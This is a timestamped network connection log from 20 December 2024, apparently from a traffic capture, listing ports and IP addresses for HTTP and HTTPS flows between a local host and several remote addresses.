Dec 20, 2024 13:12:37.758109093 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758147001 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758161068 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758174896 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758198977 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758212090 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758239985 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758265018 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758461952 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758475065 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758563995 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758577108 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758599997 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758611917 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758677959 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758691072 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758769035 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758790970 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758907080 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.758919954 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759033918 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759047031 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759119987 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759131908 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759210110 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759300947 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759321928 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759352922 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759412050 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759424925 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759562969 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.759576082 CET	80	49906	185.121.15.192	192.168.2.5
Dec 20, 2024 13:12:37.819574118 CET	443	49905	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:37.819809914 CET	443	49905	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:37.819869995 CET	49905	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:37.820122957 CET	49905	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:37.820141077 CET	443	49905	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:38.909924984 CET	80	49911	185.215.113.43	192.168.2.5
Dec 20, 2024 13:12:38.910020113 CET	49911	80	192.168.2.5	185.215.113.43
Dec 20, 2024 13:12:38.911418915 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:38.911808014 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:39.031614065 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:39.032082081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:39.032179117 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:39.032231092 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:39.034456968 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:39.154355049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.362893105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363003969 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363066912 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363104105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363132000 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363218069 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363243103 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363271952 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363281965 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363306999 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363358974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363358974 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363363981 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363399982 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363413095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363432884 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363452911 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363468885 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.363488913 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.363528967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.483325005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.483345985 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.483406067 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.483438015 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.487523079 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.487613916 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.555047035 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.555109024 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.555269003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.555269003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.559078932 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.559166908 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.560657024 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.560724020 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.561199903 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.561265945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.569050074 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.569117069 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.569153070 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.569222927 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.577435017 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.577470064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.577502966 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.577533007 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.586323023 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.586385965 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.586675882 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.586730957 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.595082045 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.595149994 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.595175028 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.595237970 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.602560997 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.602627039 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.602744102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.602919102 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.610959053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.611031055 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.611042976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.611200094 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.619616032 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.619693995 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.619837999 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.619901896 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.627803087 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.627871990 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.627928019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.627986908 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.635443926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.635756969 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.635888100 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.675091982 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.675102949 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.675303936 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.746915102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.747399092 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.747693062 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.749197006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.749286890 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.749676943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.749738932 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.753690958 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.754018068 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.755342960 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.755409956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.755418062 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.755475998 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.759963989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.759989977 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.760059118 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.764633894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.765014887 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.765101910 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.769021034 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.769293070 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.769362926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.773652077 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.773715973 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.774012089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.778053999 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.778132915 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.778717995 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.782042027 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.782598019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.782660961 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.782701015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.782759905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.787157059 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.787374973 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.787437916 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.791656971 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.792398930 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.792464018 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.796188116 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.796816111 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.796916008 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.800709963 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.801223040 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.801337957 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.805237055 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.805398941 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.805471897 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.808763981 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.808818102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.808887005 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.812340021 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.812473059 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.812484980 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.812537909 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.815721989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.815803051 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.815936089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.816096067 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.819303036 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.819356918 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.819370985 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.819417953 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.822772980 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.823096037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.823208094 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.826212883 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.826297045 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.826432943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.826535940 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.829832077 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.829940081 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.941476107 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.941514015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.941548109 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.941550016 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.941569090 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.941585064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.941627979 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.941648960 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.943813086 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.943921089 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.944155931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.944219112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.946573973 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.946659088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.946734905 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.946801901 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.949348927 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.949421883 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.950010061 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.950073004 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.951678038 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.951741934 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.951864004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.951926947 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.954273939 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.954332113 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.954370975 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.954442978 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.956557035 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.956695080 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.956717968 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.956782103 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.959137917 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.959206104 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.959743977 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.959841013 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.964246988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.964282036 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.964312077 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.964351892 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.965032101 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.965126991 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.966005087 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.966080904 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.967616081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.967677116 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.968569040 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.968638897 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.970155001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.970213890 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.970326900 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.970376015 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.972721100 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.972732067 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.972779989 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.975431919 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.975442886 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.975498915 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.977766037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.977911949 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.978251934 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.978303909 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.980485916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.980542898 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.981122017 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.981180906 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.982342005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.982403040 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.982671022 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.982743979 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.986018896 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.986031055 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.986082077 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.988177061 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.988234043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.988441944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.988495111 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.990108013 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.990180016 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.990350008 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.990408897 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.992650986 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.992712021 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.992753983 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.992841959 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.995271921 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.995352983 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.995481014 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.995543957 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.997848988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.997963905 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:40.997993946 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:40.998048067 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.000591993 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.000790119 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.000794888 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.000854969 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.002993107 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.003066063 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.003103018 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.003160954 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.005642891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.005721092 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.006273031 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.006330013 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.008097887 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.008487940 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.008568048 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.012304068 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.012315989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.012373924 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.013972044 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.014044046 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.015538931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.015599966 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.017019033 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.017076969 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.018666983 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.018750906 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.132249117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.132322073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.132519960 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.133183956 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.133270025 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.133313894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.133382082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.135386944 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.136061907 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.136131048 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.137670994 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.137742043 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.137893915 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.137963057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.139847040 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.140031099 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.140098095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.141962051 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.142149925 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.142215014 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.144165039 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.144232988 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.145217896 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.145281076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.146234035 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.146651030 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:41.146718979 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:41.148435116 CET	80	49913	31.41.244.11	192.168.2.5
